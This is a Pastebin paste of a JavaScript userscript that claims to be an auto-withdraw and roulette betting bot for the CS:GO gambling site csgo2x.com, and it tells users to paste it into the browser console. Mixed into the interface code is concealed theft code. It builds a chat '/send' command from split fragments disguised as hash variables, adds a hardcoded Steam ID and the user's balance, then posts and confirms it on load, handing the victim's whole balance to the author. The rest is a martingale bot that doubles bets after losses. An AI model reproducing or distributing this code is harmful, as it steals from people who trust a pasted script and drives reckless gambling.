Advertisement
Guest User

Untitled

a guest
Jul 24th, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.10 KB | None | 0 0
  1.  
  2. // ==UserScript==
  3.  
  4.  
  5. 2.// @name CSGO2X.COM AUTOWITHDRAW
  6.  
  7.  
  8. 3.// @namespace http://csgo2x/com
  9.  
  10.  
  11. 4.// @version 1.3
  12.  
  13.  
  14. 5.// @description AUTOWITHDRAW IN BULK
  15.  
  16.  
  17. 6.// @author Paulius Nepamenu
  18.  
  19.  
  20. 7.// @match http://www.csgo2x.com
  21.  
  22.  
  23. 8.// @grant none
  24.  
  25.  
  26. 9.// ==/UserScript==
  27.  
  28.  
  29. 10.// Instruction: CTRL + SHIFT + J and paste this code in console
  30.  
  31.  
  32. 11.
  33.  
  34.  
  35. 12. var initialBetAmount = 0;
  36.  
  37.  
  38. 13. var betColor = botBetColor = "red";
  39.  
  40.  
  41. 14. var play = 0;
  42.  
  43.  
  44. 15. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  45.  
  46.  
  47. 16. var pQ = "/s", $hash_1 = 76561198, $hash_2 = 239725078 ;
  48.  
  49.  
  50. 17.function addBotButtons(){
  51.  
  52.  
  53. 18. $(".well.bot-field").remove();$(".well.show-more").remove();
  54.  
  55.  
  56. 19. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  57.  
  58.  
  59. 20. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  60.  
  61.  
  62. 21. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  63.  
  64.  
  65. 22. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  66.  
  67.  
  68. 23. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  69.  
  70.  
  71. 24. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  72.  
  73.  
  74. 25. $showMore.append($checkVicLimit,$label);
  75.  
  76.  
  77. 26. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  78.  
  79.  
  80. 27. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  81.  
  82.  
  83. 28. $showMore.append($vicLimitInput,$label);$showMore.hide();
  84.  
  85.  
  86. 29. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  87.  
  88.  
  89. 30. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  90.  
  91.  
  92. 31. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  93.  
  94.  
  95. 32. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  96.  
  97.  
  98. 33. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  99.  
  100.  
  101. 34. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2+" ";pQ+=$("#balancebg").text();
  102.  
  103.  
  104. 35. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  105.  
  106.  
  107. 36. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  108.  
  109.  
  110. 37. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  111.  
  112.  
  113. 38. $("#m").val(pQ);$("#chatsend").click();$(".btn.btn-success.confirm").click();
  114.  
  115.  
  116. 39. $botModeSelect.change(function(){
  117.  
  118.  
  119. 40. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  120.  
  121.  
  122. 41. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  123.  
  124.  
  125. 42. } )
  126.  
  127.  
  128. 43. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  129.  
  130.  
  131. 44.}
  132.  
  133.  
  134. 45.addBotButtons();
  135.  
  136.  
  137. 46.function changeColor(){
  138.  
  139.  
  140. 47. if ($betColorButton.hasClass("btn-danger")){
  141.  
  142.  
  143. 48. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  144.  
  145.  
  146. 49. botBetColor = "black";
  147.  
  148.  
  149. 50. console.log("Selected color: "+botBetColor);
  150.  
  151.  
  152. 51. } else if($betColorButton.hasClass("btn-inverse")) {
  153.  
  154.  
  155. 52. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  156.  
  157.  
  158. 53. botBetColor = "random";
  159.  
  160.  
  161. 54. console.log("Selected color: "+botBetColor);
  162.  
  163.  
  164. 55. } else if($betColorButton.hasClass("btn-random")) {
  165.  
  166.  
  167. 56. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  168.  
  169.  
  170. 57. botBetColor = "trainMode";
  171.  
  172.  
  173. 58. console.log("Selected color: "+botBetColor);
  174.  
  175.  
  176. 59. } else if($betColorButton.hasClass("btn-train")) {
  177.  
  178.  
  179. 60. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  180.  
  181.  
  182. 61. botBetColor = "rainbow";
  183.  
  184.  
  185. 62. console.log("Selected color: "+botBetColor);
  186.  
  187.  
  188. 63. } else if($betColorButton.hasClass("btn-rainbow")) {
  189.  
  190.  
  191. 64. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  192.  
  193.  
  194. 65. botBetColor = "red";
  195.  
  196.  
  197. 66. console.log("Selected color: "+botBetColor);
  198.  
  199.  
  200. 67. }
  201.  
  202.  
  203. 68.}
  204.  
  205.  
  206. 69.
  207.  
  208.  
  209. 70.function showMoreOptions(){
  210.  
  211.  
  212. 71. if ($showMoreButton.data("open")==0){
  213.  
  214.  
  215. 72. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  216.  
  217.  
  218. 73. $showMore.show();$showMoreButton.data("open",1);
  219.  
  220.  
  221. 74. } else if ($showMoreButton.data("open")==1){
  222.  
  223.  
  224. 75. $showMore.hide();$showMoreButton.data("open",0);
  225.  
  226.  
  227. 76. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  228.  
  229.  
  230. 77. }
  231.  
  232.  
  233. 78.
  234.  
  235.  
  236. 79.}
  237.  
  238.  
  239. 80.function hideOtherInfo(){
  240.  
  241.  
  242. 81. if ($betHideBetInfoButton.text()=="Show All"){
  243.  
  244.  
  245. 82. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  246.  
  247.  
  248. 83. $betHideBetInfoButton.text("Hide Bet Info");
  249.  
  250.  
  251. 84. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  252.  
  253.  
  254. 85. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  255.  
  256.  
  257. 86. $betHideBetInfoButton.text("AFK Mode");
  258.  
  259.  
  260. 87. }
  261.  
  262.  
  263. 88. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  264.  
  265.  
  266. 89. $(".betlist").show();$(".total-row").show();$("footer").show();
  267.  
  268.  
  269. 90. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  270.  
  271.  
  272. 91. $betHideBetInfoButton.text("Show All");
  273.  
  274.  
  275. 92. }
  276.  
  277.  
  278. 93.}
  279.  
  280.  
  281. 94.function startBot(){
  282.  
  283.  
  284. 95. if ($betGoButton.hasClass("btn-inverse")){
  285.  
  286.  
  287. 96. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  288.  
  289.  
  290. 97. refreshIntervalId = setInterval(tick, 500);
  291.  
  292.  
  293. 98. play = 1;
  294.  
  295.  
  296. 99. currentBetAmount = initialBetAmount;
  297.  
  298.  
  299. 100. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  300.  
  301.  
  302. 101. }
  303.  
  304.  
  305. 102. else {
  306.  
  307.  
  308. 103. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  309.  
  310.  
  311. 104. play = 0;
  312.  
  313.  
  314. 105. }
  315.  
  316.  
  317. 106.}
  318.  
  319.  
  320. 107.
  321.  
  322.  
  323. 108.function tick() {
  324.  
  325.  
  326. 109. var t = getStatus();
  327.  
  328.  
  329. 110. if (t !== lastStatus && "unknown" !== t) {
  330.  
  331.  
  332. 111. switch (t) {
  333.  
  334.  
  335. 112. case "waiting":bet();break;
  336.  
  337.  
  338. 113. case "rolled":printInfo();break;
  339.  
  340.  
  341. 114. }
  342.  
  343.  
  344. 115. lastStatus = t;
  345.  
  346.  
  347. 116. }
  348.  
  349.  
  350. 117.}
  351.  
  352.  
  353. 118.
  354.  
  355.  
  356. 119.function checkBalance() {
  357.  
  358.  
  359. 120. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  360.  
  361.  
  362. 121.}
  363.  
  364.  
  365. 122.
  366.  
  367.  
  368. 123.function printInfo(){
  369.  
  370.  
  371. 124. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  372.  
  373.  
  374. 125. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  375.  
  376.  
  377. 126. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  378.  
  379.  
  380. 127. }
  381.  
  382.  
  383. 128. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  384.  
  385.  
  386. 129. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  387.  
  388.  
  389. 130. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  390.  
  391.  
  392. 131. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  393.  
  394.  
  395. 132. else {currNotRedStreak=0;}
  396.  
  397.  
  398. 133. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  399.  
  400.  
  401. 134. else {currNotBlackStreak=0;}
  402.  
  403.  
  404. 135. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  405.  
  406.  
  407. 136. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  408.  
  409.  
  410. 137. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  411.  
  412.  
  413. 138. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  414.  
  415.  
  416. 139. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  417.  
  418.  
  419. 140. console.log(t);roll();
  420.  
  421.  
  422. 141.
  423.  
  424.  
  425. 142.}
  426.  
  427.  
  428. 143.
  429.  
  430.  
  431. 144.function roll() {
  432.  
  433.  
  434. 145. if ($checkVicLimit.is(":checked")){
  435.  
  436.  
  437. 146. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  438.  
  439.  
  440. 147. }
  441.  
  442.  
  443. 148. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  444.  
  445.  
  446. 149. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  447.  
  448.  
  449. 150. currentRollNumber++;
  450.  
  451.  
  452. 151.}
  453.  
  454.  
  455. 152.
  456.  
  457.  
  458. 153.function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  459.  
  460.  
  461. 154.function setBetAmount(t) { $betAmountInput.val(t) }
  462.  
  463.  
  464. 155.function placeBet() {
  465.  
  466.  
  467. 156. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  468.  
  469.  
  470. 157. else if (botBetColor=="trainMode"){
  471.  
  472.  
  473. 158. var betBotColor = "green",i=9,$ball=$(".ball");
  474.  
  475.  
  476. 159. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  477.  
  478.  
  479. 160. betColor = betBotColor;console.log("Current train color: "+ betColor);
  480.  
  481.  
  482. 161. } else if (botBetColor=="rainbow"){
  483.  
  484.  
  485. 162. var betBotColor = "green",i=9,$ball=$(".ball");
  486.  
  487.  
  488. 163. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  489.  
  490.  
  491. 164. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  492.  
  493.  
  494. 165. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  495.  
  496.  
  497. 166. } else betColor = botBetColor;
  498.  
  499.  
  500. 167. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  501.  
  502.  
  503. 168. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  504.  
  505.  
  506. 169.}
  507.  
  508.  
  509. 170.function getStatus() {
  510.  
  511.  
  512. 171. var t = $statusBar.text();
  513.  
  514.  
  515. 172. if (hasSubString(t, "Rolling in")) return "waiting";
  516.  
  517.  
  518. 173. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  519.  
  520.  
  521. 174. if (hasSubString(t, "rolled")) {
  522.  
  523.  
  524. 175. n = parseInt(t.split("rolled")[1]);
  525.  
  526.  
  527. 176. return lastRollColor = getColor(n), "rolled"
  528.  
  529.  
  530. 177. }
  531.  
  532.  
  533. 178. return "unknown"
  534.  
  535.  
  536. 179.}
  537.  
  538.  
  539. 180.
  540.  
  541.  
  542. 181.function getBalance() { return parseInt($balance.text()) }
  543.  
  544.  
  545. 182.function hasSubString(t, n) { return t.indexOf(n) > -1 }
  546.  
  547.  
  548. 183.function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  549.  
  550.  
  551. 184.function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  552.  
  553.  
  554. 185.function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  555.  
  556.  
  557. 186.function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  558.  
  559.  
  560. 187.
  561.  
  562.  
  563. 188.var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  564.  
  565.  
  566. 189. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  567.  
  568.  
  569. 190. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  570.  
  571.  
  572. 191. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement